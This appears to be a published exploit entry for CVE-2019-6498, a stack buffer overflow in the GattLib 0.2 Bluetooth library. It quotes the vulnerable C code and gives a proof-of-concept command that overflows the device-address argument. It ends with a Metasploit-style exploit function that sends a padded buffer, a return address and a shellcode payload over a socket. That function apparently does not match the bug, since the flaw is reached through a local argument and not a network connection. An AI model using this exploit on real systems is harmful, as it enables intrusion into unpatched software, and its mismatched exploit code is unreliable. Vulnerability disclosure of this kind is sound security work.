GattLib 0.2 - Stack Buffer Overflow

Exploit Title: stack-based overflow
# Date: 2019-11-21
# Exploit Author: Dhiraj Mishra
# Vendor Homepage: http://labapart.com/
# Software Link: https://github.com/labapart/gattlib/issues/81
# Version: 0.2
# Tested on: Linux 4.15.0-38-generic
# CVE: CVE-2019-6498
# References:
# https://github.com/labapart/gattlib/issues/81
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6498

## Summary:
While fuzzing gattlib (Gattlib is a library to access GATT information from
BLE (Bluetooth Low Energy) devices) using clang 6.0 with ASAN a stack-based
buffer-overflow was observed.

## Vulnerable code from gattlib.c
// Transform string from 'DA:94:40:95:E0:87' to 'dev_DA_94_40_95_E0_87'
strncpy(device_address_str, dst, sizeof(device_address_str));
for (i = 0; i < strlen(device_address_str); i++) {
if (device_address_str[i] == ':') {
device_address_str[i] = '_';
}
}

## Vulnerable code from discover.c
if (argc != 2) {
printf("%s <device_address>\n", argv[0]);
return 1;
}

connection = gattlib_connect(NULL, argv[1], BDADDR_LE_PUBLIC, BT_SEC_LOW,
0, 0);
if (connection == NULL) {
fprintf(stderr, "Fail to connect to the bluetooth device.\n");
return 1;
}

## PoC

./discover `python -c 'print "A"*20'`

## MSF code

def exploit
    connect

    print_status("Sending #{payload.encoded.length} byte payload...")

    # Building the buffer for transmission
    buf = "A" * 20
    buf += [ target.ret ].pack('V')
    buf += payload.encoded

    sock.put(buf)
    sock.get

    handler
end